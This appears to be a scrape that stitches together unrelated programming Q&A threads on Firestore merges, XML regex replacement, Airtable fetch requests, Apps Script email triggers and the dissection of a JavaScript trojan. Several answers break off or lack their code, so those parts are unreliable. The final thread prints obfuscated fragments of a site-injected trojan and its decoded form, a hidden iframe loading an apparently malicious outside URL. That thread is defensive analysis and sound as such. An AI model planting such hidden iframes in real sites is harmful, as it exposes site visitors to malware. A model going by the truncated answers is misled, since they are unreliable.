Updating the query data in cloud firestore nested map fields

I'm trying to update the data in nested map fields in firestore, my form is a window form that has 4 sides (wSide1,wSide2,wSide3,wSide4), what my form is doing is if customer select 1 field which is wSide1 and it needs to be updated then only this field only be updated but in my case it is updating all 4 sides, the one which is selected for example side 1 only that has the correct updated values other 3 sides updates with the false values. as my form is dynamic it only shows the field which is selected.
I only want to update the field which is selected, all other has to be null.

I can't see the code you use for updating your data but I can ausme that you probably did not set the merge to true while saving the data.
Take a look at this code snipped:
var cityRef = db.collection('cities').doc('BJ');
var setWithMerge = cityRef.set({
capital: true
}, { merge: true });
By setting that we ensure to udate only the fields we want to and leave the rest as it is. Still make sure not to send fields with a null value because that is a valid value for firestore and it doesn't mean that those fields will by skipped in the update process. You can find more about it here.

replace all values using javascript in an xml payload

i have a xml string that i will replace all values of specific tags using javascript,
and this is the code :
function replaceDomainName (xmlPayload,domainId)
{
var oldDomain = '<DOMAIN_NAME>OOO';
var oldDomain2 = '<DomainName>OOO';
var newDomain = '<DOMAIN_NAME>'+domainId ;
var newDomain2 = '<DomainName>'+domainId ;
var xmlString = xmlPayload.toString();
var x = xmlString.replace(/oldDomain/g,newDomain)
x = x.replace(/oldDomain2/g,newDomain2)
console.log(x);
return x ;
}
when I try to invoke the function with the following XML it throws error

use this

While you can get a lot done with Regex, it can get really complicated when parsing XML.
See this example of using DOMParser and XMLSerializer:

Javascript get method and airtable

Hye i am having a little trouble again i am supposed to put a list of questions in airtable and then print them to my screen but i am working with a fetch reqeust en then e method of get but i have the feeling like my empty variable aren't being filled with my questions
its in javascript btw :

Prevent duplicate E-mail Google Spreadsheets script

i'm currently able to send E-mail with Google Spreadsheets script. But my trigger and if condition didn't prevent E-mail sending as i wish :
Here is my code :
'''
function myFunction() {
const ss = SpreadsheetApp.getActiveSpreadsheet();
const ws = ss.getSheetByName("MASTER");
const h3 = 'SPP Proyek JIS Tanggal xx dari xxx';
const headers = ws.getRange("A2:M2").getValues();
const item = headers[0][4];
const spec = headers[0][5];
const sat = headers[0][6];
const qty = headers[0][7];
const price = headers[0][8];
const total = headers[0][9];
const tujuan = headers[0][10];
const lr = ws.getLastRow();
const tableRangeValues = ws.getRange(3, 5,lr-2,7).getDisplayValues();
const trigger = ws.getRange(3, 1,lr-2).getValues();
const statusEmail = ws.getRange(3, 13,lr-2).getValues();
const htmlTemplate = HtmlService.createTemplateFromFile("Email");
htmlTemplate.h3 = h3;
htmlTemplate.headers = headers;
htmlTemplate.item = item;
htmlTemplate.spec = spec;
htmlTemplate.sat = sat;
htmlTemplate.qty = qty;
htmlTemplate.price = price;
htmlTemplate.total = total;
htmlTemplate.tujuan = tujuan;
htmlTemplate.tableRangeValues = tableRangeValues;
htmlTemplate.trigger = trigger;
htmlTemplate.statusEmail = statusEmail;
const htmlForEmail = htmlTemplate.evaluate().getContent();
if ((trigger != 'FALSE') && (statusEmail != 'EMAIL_SENT')); {
GmailApp.sendEmail(
"sistem.jis#gmail.com",
"Approval SPP Komersial",
"HTML Support",
{ htmlBody: htmlForEmail }
);
ws.getRange(3, 13,lr-2).setValue('EMAIL_SENT');
}
'''
and this is my sample file link :
https://docs.google.com/spreadsheets/d/13TKIhY7HmK3o-j98q45XXb2nwZzfYwyYn7EULhY_RJw/edit#gid=1216091331
it seems i have problem with the trigger and if condition code which i don't understand
Thank you!

Defining const trigger = ws.getRange(3, 1,lr-2).getValues(); returns you an array of type [[FALSE], [true], [FALSE], [true]]
To make your code work you need to define a loop that iterates through each row (and trigger) invidually
Also, remove the ; from if ((trigger != 'FALSE') && (statusEmail != 'EMAIL_SENT')); {
Sample:
function myFunction() {
const ss = SpreadsheetApp.getActiveSpreadsheet();
const ws = ss.getSheetByName("MASTER");
const h3 = 'SPP Proyek JIS Tanggal xx dari xxx';
const headers = ws.getRange("A2:M2").getValues();
const item = headers[0][4];
const spec = headers[0][5];
const sat = headers[0][6];
const qty = headers[0][7];
const price = headers[0][8];
const total = headers[0][9];
const tujuan = headers[0][10];
const lr = ws.getLastRow();
const tableRangeValues = ws.getRange(3, 5,lr-2,7).getDisplayValues();
var data = ws.getRange(3, 1,lr-2,13).getDisplayValues();
for (var i = 0; i < data.length; i++){
const trigger = data[i][0];
const statusEmail = data[i][12];
const htmlTemplate = HtmlService.createTemplateFromFile("Email");
htmlTemplate.h3 = h3;
htmlTemplate.headers = headers;
htmlTemplate.item = item;
htmlTemplate.spec = spec;
htmlTemplate.sat = sat;
htmlTemplate.qty = qty;
htmlTemplate.price = price;
htmlTemplate.total = total;
htmlTemplate.tujuan = tujuan;
htmlTemplate.tableRangeValues = tableRangeValues;
htmlTemplate.trigger = trigger;
htmlTemplate.statusEmail = statusEmail;
const htmlForEmail = htmlTemplate.evaluate().getContent();
Logger.log(trigger);
if ((trigger != 'FALSE') && (statusEmail != 'EMAIL_SENT')) {
GmailApp.sendEmail(
"sistem.jis#gmail.com",
"Approval SPP Komersial",
"HTML Support",
{ htmlBody: htmlForEmail }
);
ws.getRange(3, 13,lr-2).setValue('EMAIL_SENT');
}
}
}
Note:
In this sample I did not modify tableRangeValues since those values are processed later on on your client-side. Depending on what you want them to be like, you might also want to iterate throguh tem.

JavaScript trojan dissection

I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...

It embeds http://fancycake.xxx/something, and this is the line where you can see it:
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that String.replace has been renamed to String.gT and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers, setAttribute, etc:
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
This is how String.replace is aliased:
var d = 'replace';
...
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
Within the context of that function, this is the string on which gT is being called and d is the string replace. On a string's prototype, this['replace'] returns the replace() method, which is then called with the two arguments to gT. The result is then returned.
Update
I transformed the script like so:
Replaced all string.gT() calls with their plain forms.
Removed any variables that aren't referenced.
Gave functions some common-sense names.
This is the result, it should be pretty clear how it works now:
function FancyCake() {};
FancyCake.prototype = {
embed: function () {

It adds an invisible iFrame to the following URL to your website:
<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe>
The website fancycake is marked as attacked and malicious under Firefox

Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.
